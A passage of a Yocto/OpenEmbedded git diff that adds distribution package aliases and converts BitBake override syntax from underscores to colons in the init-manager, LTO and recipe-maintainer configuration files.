+DISTRO_PN_ALIAS:pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
+DISTRO_PN_ALIAS:pn-udev = "Mandriva=udev Fedora=udev"
+DISTRO_PN_ALIAS:pn-udev-extraconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
+DISTRO_PN_ALIAS:pn-unfs-server = "OE-Core"
+DISTRO_PN_ALIAS:pn-uninative-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
+DISTRO_PN_ALIAS:pn-update-rc.d = "OE-Core"
+DISTRO_PN_ALIAS:pn-usbinit = "OE-Core"
+DISTRO_PN_ALIAS:pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
+DISTRO_PN_ALIAS:pn-v86d = "Debian=v86d Ubuntu=v86d"
+DISTRO_PN_ALIAS:pn-waffle = "OE-Core"
+DISTRO_PN_ALIAS:pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
+DISTRO_PN_ALIAS:pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
+DISTRO_PN_ALIAS:pn-weston = "Fedora=weston OpenSuSE=weston"
+DISTRO_PN_ALIAS:pn-weston-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-which = "Mandriva=which Fedora=which"
+DISTRO_PN_ALIAS:pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
+DISTRO_PN_ALIAS:pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
+DISTRO_PN_ALIAS:pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcursor-transparent-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
+DISTRO_PN_ALIAS:pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
+DISTRO_PN_ALIAS:pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
+DISTRO_PN_ALIAS:pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
+DISTRO_PN_ALIAS:pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
+DISTRO_PN_ALIAS:pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
+DISTRO_PN_ALIAS:pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
+DISTRO_PN_ALIAS:pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
+DISTRO_PN_ALIAS:pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
+DISTRO_PN_ALIAS:pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
+DISTRO_PN_ALIAS:pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
+DISTRO_PN_ALIAS:pn-xf86-video-omapfb = "OSPDT"
+DISTRO_PN_ALIAS:pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
+DISTRO_PN_ALIAS:pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
+DISTRO_PN_ALIAS:pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
+DISTRO_PN_ALIAS:pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
+DISTRO_PN_ALIAS:pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
+DISTRO_PN_ALIAS:pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
+DISTRO_PN_ALIAS:pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
+DISTRO_PN_ALIAS:pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xserver-nodm-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
+DISTRO_PN_ALIAS:pn-xuser-account = "OE-Core"
+DISTRO_PN_ALIAS:pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
diff --git a/meta/conf/distro/include/init-manager-mdev-busybox.inc b/meta/conf/distro/include/init-manager-mdev-busybox.inc
index 4e3be14a82..12091cba68 100644
--- a/meta/conf/distro/include/init-manager-mdev-busybox.inc
+++ b/meta/conf/distro/include/init-manager-mdev-busybox.inc
@@ -1,5 +1,5 @@
# enable mdev/busybox for init
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd sysvinit"
VIRTUAL-RUNTIME_dev_manager ??= "busybox-mdev"
VIRTUAL-RUNTIME_init_manager ??= "busybox"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
diff --git a/meta/conf/distro/include/init-manager-systemd.inc b/meta/conf/distro/include/init-manager-systemd.inc
index 1558b85250..7867d90028 100644
--- a/meta/conf/distro/include/init-manager-systemd.inc
+++ b/meta/conf/distro/include/init-manager-systemd.inc
@@ -1,6 +1,7 @@
# Use systemd for system initialization
-DISTRO_FEATURES_append = " systemd"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " sysvinit"
+DISTRO_FEATURES:append = " systemd"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " sysvinit"
VIRTUAL-RUNTIME_init_manager ??= "systemd"
VIRTUAL-RUNTIME_initscripts ??= "systemd-compat-units"
VIRTUAL-RUNTIME_login_manager ??= "shadow-base"
+VIRTUAL-RUNTIME_dev_manager ??= "systemd"
diff --git a/meta/conf/distro/include/init-manager-sysvinit.inc b/meta/conf/distro/include/init-manager-sysvinit.inc
index 6b662d60bb..aa2393944d 100644
--- a/meta/conf/distro/include/init-manager-sysvinit.inc
+++ b/meta/conf/distro/include/init-manager-sysvinit.inc
@@ -1,6 +1,6 @@
# Use sysvinit for system initialization
-DISTRO_FEATURES_append = " sysvinit"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd"
+DISTRO_FEATURES:append = " sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd"
VIRTUAL-RUNTIME_init_manager ??= "sysvinit"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
VIRTUAL-RUNTIME_login_manager ??= "busybox"
diff --git a/meta/conf/distro/include/lto.inc b/meta/conf/distro/include/lto.inc
index 20895ad40d..b8193725a1 100644
--- a/meta/conf/distro/include/lto.inc
+++ b/meta/conf/distro/include/lto.inc
@@ -1,32 +1,34 @@
# To enable LTO, add following in local.conf
# require conf/distro/include/lto.inc
-# DISTRO_FEATURES_append = " lto"
+# DISTRO_FEATURES:append = " lto"
#
# Disable LTO for following packages
-LTO_pn-glibc = ""
-LTO_pn-gcc-runtime = ""
-LTO_pn-libgcc-initial = ""
-LTO_pn-libgcc = ""
-LTO_pn-libaio = ""
-LTO_pn-libpam = ""
-LTO_pn-elfutils = ""
-LTO_pn-perl = ""
-LTO_pn-busybox = ""
-LTO_pn-libxcrypt = ""
-LTO_pn-curl = ""
-LTO_pn-libcap = ""
-LTO_pn-libproxy = ""
-LTO_pn-libbsd = ""
-LTO_pn-perf = ""
+LTO:pn-glibc = ""
+LTO:pn-gcc-runtime = ""
+LTO:pn-libgcc-initial = ""
+LTO:pn-libgcc = ""
+LTO:pn-libaio = ""
+LTO:pn-libpam = ""
+LTO:pn-elfutils = ""
+LTO:pn-perl = ""
+LTO:pn-busybox = ""
+LTO:pn-libxcrypt = ""
+LTO:pn-curl = ""
+LTO:pn-libcap = ""
+LTO:pn-libproxy = ""
+LTO:pn-libbsd = ""
+LTO:pn-perf = ""
# webkit is not linking properly with LTO, disable until next time
-LTO_pn-webkitgtk = ""
-LTO_pn-xserver-xorg = ""
+LTO:pn-webkitgtk = ""
+LTO:pn-xserver-xorg = ""
+LTO:pn-grub = ""
+LTO:pn-grub-efi = ""
# Custom LTO flags
# disable partitioning/streaming algorithm since its uses ASM
# constructs not compatible with lto
-LTOEXTRA_pn-alsa-lib = "-flto-partition=none"
+LTOEXTRA:pn-alsa-lib = "-flto-partition=none"
LTOEXTRA ?= ""
@@ -43,7 +45,7 @@ LTOEXTRA ?= ""
# code from .a files to linker
LTO ?= "-flto -ffat-lto-objects -fuse-linker-plugin ${LTOEXTRA}"
-SELECTED_OPTIMIZATION_append = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
-TARGET_LDFLAGS_append_class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+SELECTED_OPTIMIZATION:append = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+TARGET_LDFLAGS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
SELECTED_OPTIMIZATION[vardeps] += "LTO LTOEXTRA"
diff --git a/meta/conf/distro/include/maintainers.inc b/meta/conf/distro/include/maintainers.inc
index ad5f4672c7..4fe655fdcd 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -4,7 +4,7 @@
#
# Please submit any patches against recipes in meta to the
# OE-Core mail list (openembedded-core@lists.openembedded.org)
-# For recipes in meta-yocto please use the Poky list (poky@yoctoproject.org)
+# For recipes in meta-yocto please use the Poky list (poky@lists.yoctoproject.org)
#
# If you have problems with or questions about a particular recipe, feel
# free to contact the maintainer directly (cc:ing the appropriate mailing list
@@ -23,761 +23,816 @@
#
# The format is as a bitbake variable override for each recipe
#
-# RECIPE_MAINTAINER_pn-<recipe name> = "Full Name <address@domain>"
+# RECIPE_MAINTAINER:pn-<recipe name> = "Full Name <address@domain>"
#
# Please keep this list in alphabetical order.
#
-RECIPE_MAINTAINER_pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-acpica = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-acpid = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-adwaita-icon-theme = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-alsa-lib = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-plugins = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-state = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-tools = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-topology-conf = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-ucm-conf = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils-scripts = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-apmd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apt = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-assimp = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-at = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-at-spi2-atk = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-at-spi2-core = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-atk = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-babeltrace2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bind = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bmap-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-boost-build-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-btrfs-tools = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-buildtools-extended-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-busybox = "Andrej Valek <andrej.valek@siemens.com>"
-RECIPE_MAINTAINER_pn-busybox-inittab = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-bzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-clutter-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-clutter-gst-3.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-clutter-gtk-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-cmake = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cmake-native = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cogl-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-connman-conf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-connman-gnome = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-clutter = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk-ptest = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-cpio = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-cracklib = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-curl = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-cve-update-db-native = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-cwautomacros = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-db = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-test = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
-RECIPE_MAINTAINER_pn-depmodwrapper-cross = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dhcpcd = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-diffoscope = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dpkg = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dtc = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-efivar = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-efibootmgr = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-elfutils = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-ell = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-enchant2 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-encodings = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-file = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-flac = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-font-alias = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-font-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-fontconfig = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-formfactor = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-freetype = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-fribidi = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-fts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-gcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-source-10.2.0 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdk-pixbuf = "Ross Burton <ross.burton@arm.com>"
